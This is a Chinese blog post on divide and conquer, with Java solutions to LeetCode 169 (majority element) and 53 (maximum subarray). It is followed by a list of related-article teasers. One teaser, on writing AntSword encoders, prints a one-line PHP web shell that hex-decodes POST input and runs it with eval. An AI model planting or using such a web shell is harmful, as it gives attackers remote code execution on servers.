【LeetCode】十三、分治法:多数元素 + 最大子序列和

news2024/10/6 7:22:40

文章目录

  • 1、分治法
  • 2、leetcode169:多数元素
  • 3、leetcode53:最大子序和

1、分治法

分治一般都搭配递归使用:

在这里插入图片描述

在这里插入图片描述

用分治法的一个应用——归并排序:将一组数不停的一分为二,直到分到每组只有一个数的时候

在这里插入图片描述

分到每组只有一个数的时候,到达递归终止的条件(把一个排序的大问题,分成了少量元素排序的小问题),开始倒着往回退,每层分别排序各自组里的数据,即小问题的解

在这里插入图片描述

组合小问题的解,就是最终的排序结果。比较左右两个小问题的解(有序数列)的首元素,每次比较拿出小的那个首元素放入最终的结果。 因此说:左右两边分别是有序的,那把它两合并成一个新的有序的结果是更容易的。

2、leetcode169:多数元素

在这里插入图片描述

这题本质还是要用到元素出现的次数,也就是要统计次数,首先用HashMap的数据结构,就可以解决

这里用分治法解决一下:把一组数分成一个个不可再分的元素(分治法里所说的小问题),再分别求众数,往上开始一层回退递归,如果左边有一半以上的数是n,右边也有一半以上的数是n,那左右两边合并后,多数元素就也是n。

为什么可以用分治,因为,如果a是数组num的众数,那么将num一分为二后,至少有一边的众数也是a,因此分治得到的最终的结果是正确的。

其次,每次左右两边的众数如果相等,则这一个区间的众数就是该值,反之,左右两边的众数值不一样,那就要比较这两个众数在区间里出现的次数,来决定选谁,如果连出现的次数也一样,那就随机取一个。

举例:
在这里插入图片描述

代码实现:

public class P169 {

    public static int majorityElement(int[] nums) {
        return getMajority(nums, 0, nums.length - 1);
    }

    public static int getMajority(int[] nums, int left, int right) {
        // 数组只有一个元素了,不可再分,到达递归的终止条件
        if (left == right) {
            return nums[left];
        }
        // 一分为二,获取左右两边的多数元素
        int mid = left + (right - left) / 2;
        int leftMajority = getMajority(nums, left, mid);
        int rightMajority = getMajority(nums, mid + 1, right);
        if (leftMajority == rightMajority) {
            return leftMajority;
        }
        // 左右两边的多数元素结果不相等,统计次数
        int leftCount = 0;
        int rightCount = 0;
        for (int i = left; i <= right; i++) {
            if (nums[i] == leftMajority) {
                leftCount++;
            }
            if (nums[i] == rightMajority) {
                rightCount++;
            }
        }
        return leftCount >= rightCount ? leftMajority : rightMajority;

    }
}

3、leetcode53:最大子序和

在这里插入图片描述

这题,是定长的子数组的话,那就是一个滑动窗口。现在不定长,可以这样想:如果前面一串的和小于0,那我再要他们和我加一起的话,只会让我越来越小,形象的说,过去那一串整体就是累赘,应该从我这儿重新开始累加。

反之,前面那一串的和大于0,那说明祖上有家产,不论多少,继承过来继续累加。前面那一串的和大于0,说明不管那一串有几个正数几个负数(几个挣钱的、几个败家的),传到我这儿总是有剩余钱的,没有负债,那就继承。

这题,不是区分哪一个元素是正数或负数,就来决定是丢是留,而是从一段上来看,是正的还是负的,比如:11,-10,999,不能一见到-10就把11也扔了,整体 > 0就可以累加

public class P53 {

    public static int maxSubArray(int[] nums) {
        if (null == nums || nums.length == 0) {
            return 0;
        }
        // 不能赋值0,否则,nums = {-1}时,有bug:和为-1,输出0
        int result = nums[0];
        int pre = 0;
        for (int num : nums) {
            // 如果过去前面那一串的和小于0,是累赘,那我就从自己这儿重新开始
            if (pre < 0) {
                pre = num;
            } else {
                // 如果过去前面那一串的和大于0,说明家里祖上有点家产,那就继承
                pre = pre + num;
            }
            // 每处理一个元素,覆盖下最值
            result = Math.max(result, pre);
        }
        return result;
    }
}

再用分治法解决一次。可以看到,一组数一分为二,其序列和的最大值可能出现在三个地方:左侧、中间(横跨左右)、右侧。

图解下,左右两边的最大序列和与最终的结果对比如下:发现最终的结果可能是左侧最大值、右侧最大值、左侧+右侧

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1905115.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【qt】TCP 服务端怎么收到信息?

上一节,我已经讲了,TCP的监听,是基于上一节的,不知道的可以看看. 当我们的TCP 服务器 有 客户端请求连接的时候,会发出一个信号newConnection(). 在TCP服务端与客户端的通信中,我们需要使用到套接字 QTcpSocket类. 套接字相当于是网络通信的接口,服务段和客户端都要通过它进行通…

【网络安全】实验一(网络拓扑环境的搭建)

一、本次实验的实验目的 学习利用 VMware 创建虚拟环境 学习利用 VMware 搭建各自网络拓扑环境 二、创建虚拟机 三、克隆虚拟机 选择克隆的系统必须处于关机状态。 方法一&#xff1a; 方法二&#xff1a; 需要修改克隆计算机的名字&#xff0c;避免产生冲突。 四、按照要求完…

JavaWeb—js(1)

概述 javascript简称js 1.js的特点&#xff0c;基本语法&#xff0c;对象等 2.js的功能&#xff0c;用来操作页面元素&#xff0c;用户交互&#xff0c;浏览器交互&#xff0c;网络数据的请求 后期使用的更多的是js的框架 jquery.js vue.js react.js JS相关概念 javascrip…

python使用pywebview集成vue3和element-plus开发桌面系统框架

随着web技术越来越成熟&#xff0c;就连QQ的windows客户端都用web技术来开发&#xff0c;所以在未来&#xff0c;web技术来开发windows桌面软件也会越来越多&#xff0c;所以在此发展驱动之下&#xff0c;将最近流程的python与web技术相结合&#xff0c;使用vue3和element-plus…

蚁剑编码器编写——中篇

看第二个示例 hex编码 木马 <?php foreach($_POST as $k > $v){$_POST[$k]pack("H*", $v);} eval($_POST[ant]); ?>pack(“H*”, $v)是将 $v 转换为为二进制&#xff0c;也就是ASCII解码 编码器 module.exports (pwd, data) > {let ret {};for (…

C/C++ 代码注释规范及 doxygen 工具

参考 谷歌项目风格指南——注释 C doxygen 风格注释示例 ubuntu20 中 doxygen 文档生成 doxygen 官方文档 在 /Doxygen/Special Command/ 章节介绍 doxygen 的关键字 注释说明 注释的目的是提高代码的可读性与可维护性。 C 风格注释 // 单行注释/* 多行注释 */ C 风格注…

ESP32 步进电机精准控制:打造高精度 DIY 写字机器人,实现流畅书写体验

摘要: 想让你的 ESP32 不再仅仅是控制灯光的工具吗&#xff1f; 本文将带你使用 ESP32 开发板、步进电机和简单的机械结构打造一个能够自动写字的机器人。我们将深入浅出地讲解硬件连接、软件代码以及控制逻辑&#xff0c;并提供完整的项目代码和电路图&#xff0c;即使是 Ardu…

AI与编程:一个学生的心路历程与思考

前言 大家好&#xff0c;本人是在一个在校的大学生&#xff0c;方向是前端语言。爱好是码代码和看一点小新闻&#xff0c;游戏也是喜爱的。其实本篇文章的想法是源于网上一些人对AI以及对前端的看法&#xff0c;看完网上的评论后我也是有感而发。本篇文章的讨论中心也是围绕着A…

我国网络安全领域有哪些法律法规?主要内容是什么?

1. 背景介绍 网络信息安全方面的法规在全球范围内都有相应的立法&#xff0c;我们主要的立法有《网络安全法》、《密码法》、《数据安全法》以及《个人信息保护法》。当前也有一些相关的条例和管理办法&#xff0c;接下来就为大家一一介绍。 2. 法规介绍 在中国&#xff0c;…

昇思25天学习打卡营第14天|基于MindNLP的文本解码原理

基于MindNLP的文本解码原理 文本解码 文本解码是自然语言处理中的一个关键步骤,特别是在任务如机器翻译、文本摘要、自动回复生成等领域。解码过程涉及将编码器(如语言模型、翻译模型等)的输出转换为可读的文本序列。以下是一些常见的文本解码方法和原理: 1. 自回归解码:…

2.3.2 主程序和外部IO交互 (文件映射方式)----C#调用范例

2.3.2 主程序和外部IO交互 &#xff08;文件映射方式&#xff09;----C#调用范例 效果显示 1 说明 1 .1 Test_IOServer是64bit 程序&#xff0c; BD_SharedIOServerd.dll 在 /Debug文件夹中 1 .2 Test_IOServer是32bit 程序&#xff0c; BD_SharedIOClientd.dll (32bit&#…

安卓的组件

人不走空 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌赋&#xff1a;斯是陋室&#xff0c;惟吾德馨 目录 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌…

六、数据可视化—flask框架入门(爬虫及数据可视化)

六、数据可视化—flask框架入门&#xff08;爬虫及数据可视化&#xff09; 1&#xff0c;数据可视化简介2&#xff0c;flask&#xff08;1&#xff09;创建flask项目&#xff08;2&#xff09;开启debug模式&#xff08;3&#xff09;通过访问路径传递参数&#xff08;4&#x…

【鸿蒙学习笔记】页面布局

官方文档&#xff1a;布局概述 常见页面结构图 布局元素的组成 线性布局&#xff08;Row、Column&#xff09; 了解思路即可&#xff0c;更多样例去看官方文档 Entry Component struct PracExample {build() {Column() {Column({ space: 20 }) {Text(space: 20).fontSize(15)…

C语言 指针和数组——指针和二维数组之间的关系

目录 换个角度看二维数组 指向二维数组的行指针 按行指针访问二维数组元素 再换一个角度看二维数组 按列指针访问二维数组元素 二维数组作函数参数 指向二维数组的行指针作函数参数 指向二维数组的列指针作函数参数​编辑 用const保护你传给函数的数据 小结 换个角度看…

Mysql explain语句详解与实例展示

首先简单介绍sql&#xff1a; SQL语言共分为四大类&#xff1a;数据查询语言DQL&#xff0c;数据操纵语言DML&#xff0c;数据定义语言DDL&#xff0c;数据控制语言DCL。 1. 数据查询语言DQL 数据查询语言DQL基本结构是由SELECT子句&#xff0c;FROM子句&#xff0c;WHERE子句…

Kafka(一)基础介绍

一&#xff0c;Kafka集群 一个典型的 Kafka 体系架构包括若Producer、Broker、Consumer&#xff0c;以及一个ZooKeeper集群&#xff0c;如图所示。 ZooKeeper&#xff1a;Kafka负责集群元数据的管理、控制器的选举等操作的&#xff1b; Producer&#xff1a;将消息发送到Broker…

k8s学习之cobra命令库学习

1.前言 打开k8s代码的时候&#xff0c;我发现基本上那几个核心服务都是使用cobra库作为命令行处理的能力。因此&#xff0c;为了对代码之后的代码学习的有比较深入的理解&#xff0c;因此先基于这个库写个demo&#xff0c;加深对这个库的一些理解吧 2.cobra库的基本简介 Git…

《昇思 25 天学习打卡营第 11 天 | ResNet50 图像分类 》

《昇思 25 天学习打卡营第 11 天 | ResNet50 图像分类 》 活动地址&#xff1a;https://xihe.mindspore.cn/events/mindspore-training-camp 签名&#xff1a;Sam9029 计算机视觉-图像分类&#xff0c;很感兴趣 且今日精神颇佳&#xff0c;一个字&#xff0c;学啊 上一节&…

张量分解(1)——初探张量

&#x1f345; 写在前面 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;这里是hyk写算法了吗&#xff0c;一枚致力于学习算法和人工智能领域的小菜鸟。 &#x1f50e;个人主页&#xff1a;主页链接&#xff08;欢迎各位大佬光临指导&#xff09; ⭐️近…